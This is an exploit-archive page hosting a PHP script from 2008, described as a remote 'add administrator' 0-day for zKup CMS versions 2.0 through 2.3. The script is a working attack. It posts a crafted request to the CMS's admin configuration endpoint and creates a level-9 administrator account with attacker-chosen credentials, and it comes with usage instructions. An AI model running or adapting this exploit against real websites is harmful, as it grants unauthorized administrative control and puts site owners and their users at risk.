exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

zkup-admin.txt

zkup-admin.txt
Posted Mar 12, 2008
Authored by real

zKup CMS versions 2.0 through 2.3 remote add administrator exploit.

tags | exploit, remote, add administrator
SHA-256 | b77702a719e97f16193c2e54deb2b2cc0093a980da6c451c26f995c352323540

zkup-admin.txt

Change Mirror Download
#!/usr/bin/php
<?php
/*
* Name: zKup CMS v2.0 <= v2.3 0-day exploit (add admin)
* Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
* Date: 03-08-2008
* Conditions: None.
*
* This exploit add a new zKup admin.
*
*/

print "\n";
print " zKup CMS v2.0 <= v2.3 0-day exploit (add admin)\n";
print " by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<4) { print "usage: php zkup2_admin_exploit.php <url> <login> <passwd>\n eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit(-1); }
$url = $argv[1];
$log = $argv[2];
$pas = $argv[3];

$postit = "action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9";

print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n";
else print "failed.\n";

function post($url,$data,$get=1)
{
$result = '';
preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
$host = $info[1];
$page = $info[2];
$fp = fsockopen($host, 80, &$errno, &$errstr, 30);

$req = "POST $page HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "User-Agent: Mozilla Firefox\r\n";
$req .= "Connection: close\r\n";
$req .= "Content-type: application/x-www-form-urlencoded\r\n";
$req .= "Content-length: ".strlen( $data )."\r\n";
$req .= "\r\n";
$req .= $data."\r\n";

fputs($fp,$req);

if($get) while(!feof($fp)) $result .= fgets($fp,128);

fclose($fp);
return $result;
}

?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close